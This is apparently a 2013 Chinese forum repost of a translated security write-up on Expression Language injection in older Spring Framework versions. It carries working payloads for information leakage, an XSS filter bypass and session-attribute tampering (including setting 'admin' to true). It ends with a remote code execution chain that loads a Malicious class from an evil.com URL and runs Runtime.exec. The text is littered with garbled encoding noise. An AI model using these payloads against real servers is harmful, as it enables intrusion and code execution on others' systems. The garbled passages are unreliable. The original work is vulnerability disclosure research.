找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2258|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
- U8 b% k, S9 L& ]" ^5 AExpression Language Injection9 e- c6 l, @) x/ |
Spring Framework脆弱性—DanAmodio
0 l! Z8 P+ M+ p  ~, R+ B* A* j全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中) y5 I0 u1 X% Y* g
可能会存在风险。
8 ?1 ^* O, y2 S9 m% |0 |在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
# y% O7 O$ _) w& @$ dArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可' d7 e! L% Q# o6 @1 q) `5 }8 |
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
" K1 G3 I4 y8 E5 Q1 S" C以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前* h( ~0 d# r( n, z
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。& T0 r# p/ B3 y" I
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
3 v. f$ ~* w  P" r4 `$ `& s我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版, k' n8 V. S& @. O
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。( R# M! A+ r/ {; V' n; h
这些版本不支持禁用double EL resolution.
( h4 q$ n& Q% V' S/ R3 U4 D这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
3 ]( \4 }) N1 }4 L2 LEL2.2容器上可能进行远程代码执行。
8 ]5 G. V8 N) M0 K( Z% {这是一个原始信息泄露的攻击例子:
* m6 u: q2 }$ \& [/ V请求:
; @4 N  @2 c- l8 ittp://vulnerable.com/foo?message=${applicationScope}
2 Z. F( V: ~5 S- o7 s/ b到达以下内容页面:, ^+ Z! ~2 r" g% [
结果将输出一些包含内部服务器信息calsspath 和本地工作目录; L& T9 o( B6 U( ^; B0 i2 A
你也可以做一些其他事情,如这样:
! Z8 l0 O% [! o  Y6 G1 {2 i. C${9999+1}
* E) e% A3 F& `6 k5 l8 w+ B还可以访问session 对象和beans" t) t  \0 c& O, i
${employee.lastName}3 y+ z% c8 F' I- J8 Z
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是4 u$ U( G- Y4 i
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
+ g$ E! a* V) j6 v; L/ a/ y西,比如XSS.
) @: \" T. U% t7 Z8 b; F8 d0 k  z6 j哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
$ k6 c% l4 B; P& ]( l5 Q突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
9 d( ~0 m9 T6 t0 b: W& S3 K! r$ f) J呢?”
) C0 x0 |5 w( Y因此,我尝试巳缦拢�
) I! @$ r) O' y# `http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
) S/ Y( J8 M% J4 i: ^# ^3 R# VP$ V5 M6 j6 H5 ~; x1 A" t' ]+ u( }5 G
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返# U; B. a  b6 p% C1 M
回的文本被插入进了spring:message 标签。: ?0 P. ~3 U5 a8 ?  x
这里是一个最终绕过过滤的实例:4 Z" x2 ~; A5 V7 Y# d, `) R
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ, q/ k7 L8 \# `$ r& A- v6 m
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
+ x* Y, e0 m# O3 ]2 P) t& [什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
$ n# G+ ?' g1 d2 B5 v) _9 h8 ~5 |经过一番研究,我学习到EL2.2 增加了方法调用。
5 N& F! K+ _4 b% p# Y5 ^  j我写了一个快速测试应用程序代码并且检测一些功能" w4 T/ l2 O! k, R) R
${pageContext.request.getSession().setAttribute(“account”,”123456″)}2 i# N! Q* n9 Q. ~( Z
${pageContext.request.getSession().setAttribute(“admin”,true)}! H5 s. F, u* B6 |
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
' t6 t2 [4 u5 C; g1 `指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?' L! _, D( C$ F( A2 l
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1! B# `# s7 a/ m/ f0 C. F
“, 1234)}/ F0 b" O4 }$ \
${“”.getClass().forName(“java.lang.Runtime”)}
  E4 [/ h5 U% N哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不7 ?) d9 H/ X6 Q! p! d" g8 u! X! M! i
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函" d6 ]: C: A% {' D: N
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
7 c6 [; @1 k3 E+ x, Z$ y. T9 Y一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
) L0 K! B- o+ X$ r+ x方法签名invoke(Object obj, Object„ args)3 t2 ?0 c' l8 m$ i+ Z
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
( O- U3 j2 w' C2 g# O题,以让它可以工作起来。; T) y0 i# t) e
漏洞利用:. l) W/ w) e! J8 J& k. `6 |2 w
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
7 ]# I6 V5 d( [% C5 I希望你们中的一些JAVA奇才告诉我我是如此的可笑。  Q5 |1 ^# \  T6 n
这里有一些我试过的失败的用例,为了试图让它工作的用例:! r, p% Q; G/ Z4 b
 写文件到文件系统8 ~7 J" ?3 m( }. D, p
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
3 T: ?9 d" f7 L& G7 L* C( D我认为这些可以很好的工作,但是我不能找到合适的类来载入。
1 }; B' z3 h9 P0 d, ]9 w${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
2 d- S2 g/ x/ d$ w+ ]1 W4 }javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:9 U8 x  T/ E  _' H0 c8 N: k
org.springframework.expression.spel.standard.SpelExpressionParser not found% T# b) i! e+ ?( \5 _( |
by
. b  n  a; M$ }( c* O) Forg.glassfish.web.javax.servlet.jsp [194].
" y! ]5 }# x( h' [  Z1 z( | 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
* H$ `9 H5 [; X& x+ y 利用反射来创建一个新的Runtime(and watch the world burn); F4 b; p: l% Y  x9 F/ ]
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName7 [3 R; ]* h) ^+ O
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
, J1 k* x5 y; q${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
* M0 G0 ?: Z6 W3 u9 H+ t2 `( v7 Y 使用java.lang.ProcessBuilder1 w* W) \2 @$ P5 R: i3 a: C1 V
 用表达式语言来评估表达式语言  r$ f7 U3 y% Q6 P% G; R
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
! Q. e+ Z" n) q6 d0 z$ R& J${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request# @( W- y/ x# h0 }) D7 f
“,”".getClass(),null)}- T) g; |, h5 z
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)% f' c7 u6 ^! A7 x3 }2 o0 ^( Y
我在使用一个空数组通过Method.invoke()时失败了很多次1 X5 R0 |) I; F! x+ Z* @2 z
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
  E8 j/ `& \( ?; v! u% _2 J.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A: l( f1 S1 {/ t9 d  H
rrayList”).newInstance().toArray())
" C' [  c9 `. \3 B) L3 Ujava.lang.IllegalArgumentException: wrong number of arguments
9 j1 L- V' x% J最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
5 r, u) ^7 Y  M  m, z0 T以创建一个恶意class文件并且指向类装载器.0 l  S1 a) l$ k5 a
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
4 O# P2 r: h, ?" J6 hpublic class Malicious {1 a. W8 U* q( U
public Malicious() {
5 a( {6 Z3 Y6 Etry {
- V3 _' @  @9 Z$ @0 Q, X8 Djava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
2 h) z. A( b$ W' l; Gjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
% d  n- C( q- N2 k3 D} catch (Exception e) {
. H7 ]! m6 ^- `9 n7 `8 b9 Q7 S" [# v}0 A/ f6 L: F+ G8 @4 j
}
' m2 L' g, k" ?+ H: f4 V5 d我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回% e# F, M' z2 b1 F6 r) ^# a
话中,因此它可以被使用.% O% s4 x2 B  n5 @, v: i
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName5 ^; X" p2 a8 u- |
(“java.util.ArrayList”).newInstance())}2 f/ Z3 c* ~" W- E6 ?6 o
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
: a' c" S  ?1 `一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和% R: ^2 {, p( o4 c
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个% S5 e  R" g2 r& t, v" ?
我们可以调用的create(string)方法,然后转换对一个URL对象。
4 `4 f. t, ~3 Y2 Y${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
; R8 ^" b* G  eere/malicious/classfile/is/located/”).toURL())}
6 U7 m0 E& m5 J  F然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
( S' Y8 N" |$ J  X5 l8 j- V7 M恶意类文件被装载并创建,触发远程代码.
7 I, V9 d0 Z& F  S; i8 g${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
) v: Q$ F1 z1 F; X# w- yxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().6 ^8 D* Z, Y0 M
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
( ^$ h/ |; S( o. F6 g8 y8 d()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表